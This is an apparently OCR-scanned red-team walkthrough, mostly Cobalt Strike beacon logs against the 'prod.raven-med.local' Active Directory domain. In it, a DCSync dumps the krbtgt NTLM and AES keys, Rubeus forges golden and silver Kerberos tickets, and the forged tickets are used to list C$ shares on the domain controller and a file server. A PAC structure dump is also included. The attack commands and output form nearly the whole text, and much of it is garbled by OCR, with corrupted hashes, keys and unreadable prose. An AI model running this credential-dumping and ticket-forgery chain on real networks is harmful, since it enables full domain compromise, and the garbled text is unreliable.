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beacon> dcsync prod.raven-med.local prodikrbtgt

[*] Tasked beacon to run mimikatz's @lsadump::dcsync fdomain:prod.raven-med.local fuser:prodikrbtgt command
[+] host called home, sent: 296050 bytes

[+] received output:

[DC] 'prod.raven-med.local' will be the domain

[DC] 'dcol.prod.raven-med.local' will be the DC server

[DC] 'prodykrbtgt® will be the user account

Object RDN : krbtgt
o Sﬁ" lﬁ(:(:oLIN'I' W

SAM Username : krbtgt

Account Type ! 30000000 ( USER_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration

Password last change : 1/20/2023 8:14:17 PM

Object Security ID t S-1-5-21-1674258736-4167122442-1078531953-502
Object Relative ID : 502

Credentials:
Hash NTLM: 94b3020b55c558748Fdf5c1521bc5194
ntlm- ©: 94b3020b55c558748fdT5c1521bc5194
Im - 0: c5cc7f01260465b95d0b%ech6e3faadd

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 2d772adfd4f4b0aB8dBce9dadd25h 1665

* Primary:Kerberos-Newer-Keys *
Default Salt : PROD.RAVEN-MED.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8d253b4d7db4af28ccbhb653basdfc3ba878bd376d99ab4859d575201935d79157
aes128 hmac (4096) : 8f7cf8d752f44b20cd0da97¢784d5971
des_chc_md5 (4096) : d5156b377a85hfab

[0 krbtgt [TITITITITITITITITIT] FQDNIIITTI SIDOTITITITT Rubeus [TTITITT]

Rubeus. exe golden /aes256: 8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157
/user: administrator /domain: prod.raven-med. local /sid:S-1-5-21-1674258736-4167122442-
1078531953 /nowrap

beacon> execute-assembly /opt/red/rubeus.exe golden /aes256:8d253b4d7db4af28cchb653bas5dfc3ba878hbd376d99ab4859d575201935d79157 Juser:administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078
[*] Tasked beacon to run .NET program: rubeus.exe golden /aes256:8d253bad7dbaf28cchbb653basdfc3bas78hd376d99ab4859d575201935d79157 Juser:administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442
[+] host called home, sent: 551833 bytes

[+]1 received output:

[*] Action: Build TGT
[*1 Building PAC

[*]1 Domain + PROD.RAVEN-MED.LOCAL (PROD)
+ 5-1-5-21-1674258736-4167122442- 1078531953
+ 500
+ 520,512,513,519,518
[*]1 ServiceKey + 8D253B4D7DB4F28CC 3BA878BD3’ 75201935079157
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHAL_96_AES256
[*]1 KDCKey + 8D253B4D7DB4F28C( 3BAB78BD3’ 75201935D79157
[*] KDCKeyType i KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*1 Service i krbtgt
[*1 Target + prod.raven-med.local

Generating EncTicketPart

Signing PAC

Encrypting EncTicketPart

Generating Ticket

Generated KERB-CRED

Forged a TGT for 'administratorgprod.raven-med.local'

AuthTime + 6/13/2023 7:142:44 PR
[*] StartTime t 6/13/2023 7:142:44 PN
[*]1 EndTime : 6/14/2023 5:42:44 AN
RenewTill : 6/20/2023 7:42:44 PN

[*] base64(ticket.kirbi):

doIFITCCBZGgAWIBBaEDAGEWe 0 IEZDCCBGBhggRcMIIEWKADAQEFoRYbFFBSTOQuUkFWRU4ETUVELkxPQOFMoikwI6ADAGECe SAwHhs Ga31id Gd0Gx Rwem9kLn JhdmVulW11ZCSsb2NhbKOCBAwwg
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(ITIITITIIT kirbi (TTTTTT] CobaltStrike [] kerberos_ticket use [TTTTTTTTTITT]

beacon> make_token prodiadministrator NotRealPassword

[*] Tasked beacon to create a token for prodyadministrator
[+] host called home, sent: 52 bytes

[+] Impersonated PROD\servermgr

beacon> kerberos ticket use froot/Desktop/golden.kirbi

[*] Tasked beacon to apply ticket in /root/Desktop/golden.kirbi
[+] host called home, sent: 2995 bytes

beacon> 1s \\dcOl\c$

[*] Tasked beacon to List files in ‘“\dcOl\c$

[+] host called home, sent: 27 bytes

[*] Listing: ‘\dc@l\c$\

Size Type Last Modified Name

dir 8 00:19: $Recycle,.Bin
dir 1720/ Documents and Settings
dir 9/15/. PerfLogs
dir 1/28/2 ) 6 Program Files
dir 1720/ 13:] Program Files (x86)
dir 3 13:18:2. ProgramData
dir 01/20/2023 19:37:53 Recovery
dir 01/20/2 ) 0; System Volume Information
dir ) Users
dir 3 19: 1. Windows
512mb fil 126 pagefile.sys

KB5008380

[KB5008380 [[[T]TKerberos AACRE

qUESTerEntorcEment [TITTITFAPAEA]

PAC [MTIITTTIITIITIT PAC 11T Kerberos [TTITTITTITITITITIITTIITIIT KDC (AS_REQ) [ITITT
(IO 0 TGS I (AP_REQ) T PAC TTTIITIIT]
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PAC data in the Kerberos flow
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PAC [KERB_VALIDATION_INFO [@rfduplds [1T]

ALTDATION_TNFO
ommonHeader:

Version:
Endianness:

CommonHeaderLength:

Filler:

PrivateHeader:
ObjectBufferLength:

Filler:

Data:

LogonTime:
dwlLowDateTime:

dwHighDateTime:

LogoffTime:
dwlLowDateTime:

dwHighDateTime:

KickOffTime:
dwlLowDateTime:

dwHighDateTime:

PasswordLastSet:
dwlLowDateTime:

dwHighDateTime:

PasswordCanChange:
dwLowDateTime:

dwHighDateTime:
PasswordMustChange:

dwlLowDateTime:

dwHighDateTime:

EffectiveName:
FullName:
LogonScript:
ProfilePath:
HomeDirectory:

HomeDirectoryDrive:

LogonCount:
BadPasswordCount:
UserId:
PrimaryGroupId:
GroupCount:
GroupIds:

[

RelativeId:
Attributes:

RelativeId:
Attributes:

]
Userr lags:
UsersessionkKey:
e

1

16

8
3435973836

0

3435973836
3581044230
30974159

4294967295
2147483647

4294967295
2147483647

3686258327
30782519

102864535
30782721

4294967295
2147483647
"BB8"’
"BB8"’

7
0
4191

[0 PAC I (SID) PAO_REQO ESTORIMIIIIIIITT (cname) [IT1] SID [111]
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PAC_REQUESTOR

Jsersid:
Revision: 0
SubAuthorityCount: 0
IdentifierAuthority: b
SubAuthority:

"Ax00\x05\x15\x00\x00\x00"

[
3781416057,
1316462796,
1760547704,
4191,

TTITAASGTAIVTEATEBI PP GENTi [ kiwi/mimikatz/pull/380)0

(RO e OB T T A
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(TFQDN
(TTTIT]
[TIITAES256T]
[IBID
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rubeus. exe silver /service: cifs/file0@l. prod. raven-med. local
/aes256: c9e598cd2a9b08fe3193612c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user: administrator
/domain: prod. raven-med. local /sid:S-1-5-21-1674258736-4167122442-1078531953 /nowrap
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beacon> execute-assembly /fopt/red/rubeus.exe silver /service:cifs/file®l.prod.raven-med.Llocal /faes256:09T460c93744aabb8af18ce305578e977af47a5b000002598c423;
[*] Tasked beacon to run .MET program: rubeus.exe silver /service:cifs/file0l.prod.raven-med.local faes256:09f460c93744aabb8af18ce305578e977af47a5hb90090259
[+] host called home, sent: 551917 bytes

[+] received output:

Action: Build TGS
Building PAC

Domain + PROD.RAVEN-MED.LOCAL (PROD)

SID 1 §-1-5-21-1674258736-4167122442- 1078531953

UserId 1 500

Groups : 520,512,513,519,518

ServiceKey 1 09F460C93744AABBBAF 18CE305578E977AF47A5B990902598C4232C01AB1ECBS
ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256

KDCKey + 09F460C93744AABBBAF 18CE305578E977AF47A5B990902598C4232C01AB1ECBS
KDCKeyType i KERB_CHECKSUM_HMAC_SHA1_96_AES256

Service 1 cifs

Target : file®l.prod.raven-med. local

Generating EncTicketPart

Signing PAC

Encrypting EncTicketPart

Generating Ticket

Generated KERB-CRED

Forged a TGS for 'administrator' to 'cifs/file0l.prod.raven-med,local’

Generating EncTicketPart

Signing PAC

Encrypting EncTicketPart

Generating Ticket

Generated KERB-CRED

Forged a TGS for 'administrator' to 'cifs/file®l.prod.raven-med.local'

AuthTime 1 6/13/2023 8:
StartTime 1 6/13/2023 8:
EndTime 1 6/14/2023 6
RenewTill 1 6/20/2023 8

[*] base64 (ticket.kirbi):

doIFWTCCBb2gAwIBBaEDAgEW00IEiTCCBIVhqgSBMIIETaADAgEFoRYhFFBSTOQuUKFWRU4tTUVELK xPQOFMoi4wLKADAGECo SUWIXSEY2lmcxshZmLsZTAxLnByb2QucmF22Zw4th

beacon> make_ token prod\administrator NotRealPassword

[*] Tasked beacon to create a token for prodiadministrator
[+]1 host called home, sent: 52 bytes

[+] Impersonated PROD\alice

beacon> kerberos_ticket_use /froot/Desktop/silver.kirbi

[*] Tasked beacon to apply ticket in froot/Desktop/silver.kirbi
[+]1 host called home, sent: 3039 bytes

beacon= 1s ‘\\filed1\c%

[*] Tasked beacon to list files in ‘\\file0l\c$

[+]1 host called home, sent: 29 bytes

[#] Listing: \\file0l\c$\

Size Type Last Modified Name
dir 06/11/2023 13:49:26  $Recycle.Bin
dir 01/22/2023 17:17:43 Documents and Settings
dir 09/15/2018 00:19:00 PerfLogs
dir 05/08/2023 15:19:56 Program Files
dir 01/22/2023 08:22:13 Program Files (x86)
dir 06/11/2023 12:30:09 ProgramData
dir 01/22/2023 17:17:48 Recovery
dir 01/22/2023 17:16:55 System Volume Information
dir 06/11/2023 14:06:05 Tools
dir 06/11/2023 13:48:55 Users
dir 06/11/2023 16:03:46 Windows
fil 06/11/2023 16:03:37 pagefile.sys
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